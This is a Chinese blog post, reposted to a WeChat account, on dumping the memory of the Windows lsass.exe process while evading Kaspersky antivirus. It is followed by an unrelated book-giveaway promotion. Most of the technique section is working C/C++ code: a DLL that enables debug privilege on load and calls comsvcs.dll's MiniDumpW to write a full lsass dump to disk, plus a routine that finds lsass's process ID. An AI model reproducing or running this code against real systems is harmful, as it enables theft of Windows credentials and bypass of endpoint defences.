-
1:简介
-
2:流程
-
2.1:编译XPN大牛的代码
-
2.2:实现dump内存代码
-
2.3:自动获取lsass.exe进程的pid
-
3:效果
1:简介
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/
本文简单将其过程做梳理,方便使用,原理方面推荐看如下几篇文章:
(1)XPN大佬的英文原文:https://blog.xpnsec.com/exploring-mimikatz-part-2/
(2)安全客的翻译文章:https://www.anquanke.com/post/id/180001
(3)n1nty大牛的内容:https://www.anquanke.com/post/id/180001
(4)3gstudent大牛的文章:https://3gstudent.github.io/
2:流程
2.1:编译XPN大牛的代码
代码地址:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
(1)添加如下代码
(2)将两个文件的后缀名从.c改成.cpp
(3)编译时选择X64
编译XPN大牛代码得到文件:ssp_rpc_loader.exe
2.2:实现dump内存代码
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
swprintf(ws, 100, L"%hs", "784 c:\1.bin full"); //784是lsass进程的pid号 "<pid> <dump.bin> full"
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
BOOL MiniDumpWriteDump(
HANDLE hProcess,
DWORD ProcessId,
HANDLE hFile,
MINIDUMP_TYPE DumpType,
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
2.3:自动获取lsass.exe进程的pid
既然我们的目标是针对lsass.exe进程,那我们只需要加上动态获取lsass.exe进程pid的代码即可。
代码如下:
using namespace std;
int FindPID()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot Error!" << endl;;
return false;
}
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult)
{
if (_wcsicmp(pe32.szExeFile , L"lsass.exe") == 0)
{
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return -1;
}
int main()
{
cout << FindPID();
return 0;
}
3:效果
原文链接:https://blog.csdn.net/xiangshen1990/article/details/104872566
赠书福利
一:芯片战争
今天我们很容易发现,不断升温的中美科技博弈,最核心问题就在于芯片。一枚小小的芯片,究竟为何会变成制约中国科技发展的最关键因素?环绕在中国外围的半导体封锁,究竟是如何一步步发展到了今天的情况?另一方面,芯片产业本身特质是高投入、高度集成化、全产业链分配。这些特质导致芯片产业必然不断发生旧秩序损坏与新规则建立,换言之,在芯片领域,“战争”是常态,而“和平共处”非常稀少。如果我们能读懂历史上已经发生的芯片战争与芯片博弈,那么也将能以最高效率找到今天中国芯片的突围方向。将历史经验与今天的情况结合,或许会发现,我们此刻正身处一场从未停止过的“芯片战争”。本书主要内容包括:第一章 技术变局;第二章 区位博弈;第三章 公司征伐;第四章 突围战争;第五章 中国底牌,后记:中国半导体的集群进攻时?
二:Vue.js框架与Web前端开发从入门到精通
三:机器学习数学基础(Python语言实现)
本书是一本系统介绍机器学习所涉及的数学知识和相关Python编程的实例工具书,同时还介绍了很好经典的综合案例,除了编写机器学习的代码,还编写了深度学习的代码。本书一共分为两部分。
部分为数学基础知识部分,包含 8个章节,介绍了微积分、线性代数、概率统计、信息论、模糊数学、随机过程、凸优化和图论的系统知识体系及几个数学知识点对应的Python编程实例。通过这些实例,读者能够了解Scikit-learn、Scikit-fuzzy、Theano、SymPy、NetworkX和CVXPY中相应的库函数的应用。
第二部分为案例部分,包含4个章节,介绍了微积分、线性代数和概率统计问题的建模方法、求解流程和编程实现,以及工业生产领域的Python实战,包含了机器学习算法和深度学习PyTorch框架的应用。
为了感谢大家一直以来的关注与支持,会有四本书籍免费赠送。
规则如下:
1. 本文末点‘在看’,不需要转发朋友圈,点个‘在看’就可以。
2. 私聊文末公众号发送“赠书”即可扫描参与抽奖,注意看是发送暗号“赠书”。
3. 中奖者不满足条件1,视为放弃中奖资格。
4. 活动截止时间为3月15日 17:00点,到时候还要中奖者及时联系号主发送你的中奖核验二维码、收货地址、姓名、手机号以及想要的书籍,好给您发送书籍哦!24小时内未联系号主视为自动放弃!骗书行为出版社会永久拉黑!
先点“再看”,然后点击下方公众号私聊发送“赠书” 即可马上扫描参与抽奖
原文始发于微信公众号(LemonSec):【文末抽书】绕过卡巴斯基dump进程lsass.exe内存
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论